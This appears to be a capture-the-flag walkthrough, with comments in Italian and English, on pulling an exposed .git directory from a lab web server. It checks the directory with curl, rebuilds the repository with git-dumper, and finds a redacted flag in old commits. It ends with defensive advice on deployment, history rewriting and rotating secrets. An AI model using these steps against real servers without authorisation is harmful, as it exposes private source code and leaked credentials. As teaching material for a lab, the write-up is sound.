- Recon:
curl -i .git/HEADas a canary — a 200 confirms the exposed.git. - Dump:
git-dumperrebuilds the repo from objects/refs, no directory listing needed. - History:
git log --all -p(or the pickaxe-S 'THM{') finds the flag in a "cleaned" commit. - Defense: deploy the built app, never the folder with
.git; rewrite history and rotate secrets.
Swap <target> for the box IP: the web service answers on port 8080, which you find with nmap -sV -p- <target>. Everything runs on your machine. You need: curl, git and git-dumper (pip install git-dumper --break-system-packages).
[01] Recon: the .git/HEAD canary
Before pulling out any dumping tool, a sanity check: is .git actually being served by the web server? A single request answers the question.
# Canary: .git/HEAD è minuscolo e innocuo, perfetto per il test curl -i http://<target>:8080/.git/HEAD HTTP/1.1 200 OK ref: refs/heads/main # headers variano col server; conta il body
# Canary: .git/HEAD is tiny and harmless, perfect for the check curl -i http://<target>:8080/.git/HEAD HTTP/1.1 200 OK ref: refs/heads/main # headers vary by server; the body is what matters
.git/HEAD is an ideal canary: it's a tiny file present in every repo. If the server returns it instead of a 404, you've confirmed the whole .git directory is reachable. The same reasoning applies to .svn/, .DS_Store, .env and forgotten backups.
[02] Dump: rebuilding the repo with git-dumper
Exposure confirmed. Now I rebuild the entire repository with git-dumper, which does the dirty work for me and gives back a perfectly normal local repo.
# git-dumper ricostruisce il repo dagli oggetti/ref/pack git-dumper http://<target>:8080/.git/ ./bytelotus
# git-dumper rebuilds the repo from objects/refs/packs git-dumper http://<target>:8080/.git/ ./bytelotus
No directory listing? Doesn't matter. git-dumper starts from .git/HEAD and .git/refs, reads packed-refs and objects/info/packs, then walks the object graph downloading them one by one. Git is a content-addressable store: knowing the hashes — which live in the refs and packs — is enough to pull down the whole database. The result is a repo identical to a git clone.
[03] History: the flag lives in old commits
Checking only the current state of the files (HEAD) is the beginner's mistake. The value of a dumped repo is its history: I walk every commit, with diffs, across all branches.
# --all: ogni branch/ref, non solo HEAD # -p: mostra il diff completo di ogni commit cd bytelotus git log --all -p | less # Scorciatoia: pickaxe per saltare dritto al commit del segreto git log --all -p -S 'THM{'
# --all: every branch/ref, not just HEAD # -p: show the full diff of every commit cd bytelotus git log --all -p | less # Shortcut: pickaxe to jump straight to the secret's commit git log --all -p -S 'THM{'
Don't stop at HEAD: a secret can live on a branch that was never merged. The --all flag covers every ref, and the pickaxe -S 'THM{' takes you exactly to the commit where the string appeared or disappeared — much faster than scrolling by hand inside less.
[04] Flag and defense
The flag shows up in the diff of an old commit, later "cleaned up" on HEAD. The pickaxe surfaces it as a line removed by the commit that pretended to delete it.
# La flag vive in un vecchio commit, poi «rimossa» su HEAD git log --all -p -S 'THM{' # nel commit che «ripulisce» il file la flag compare come riga rimossa: - FLAG = "THM{████████████████████}"
# The flag lives in an old commit, then "removed" on HEAD git log --all -p -S 'THM{' # in the cleanup commit the flag shows up as a removed line: - FLAG = "THM{████████████████████}"
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
The interesting part is why it works: git doesn't really delete anything. When the developer "removed" the secret in a later commit, they only created a new commit that no longer contains it. The blob with the credential stays in the object database, indexed by its hash, until you rewrite history and run git gc. Yesterday's diff is forever.
Deploy the built/exported app, never the project folder: that way .git never reaches production (and if it must, block .git/ at the web-server level). Removing a secret in a later commit gives false security — it stays in the object database until you rewrite history with git filter-repo. And above all: if a credential was ever online, treat it as compromised and rotate it.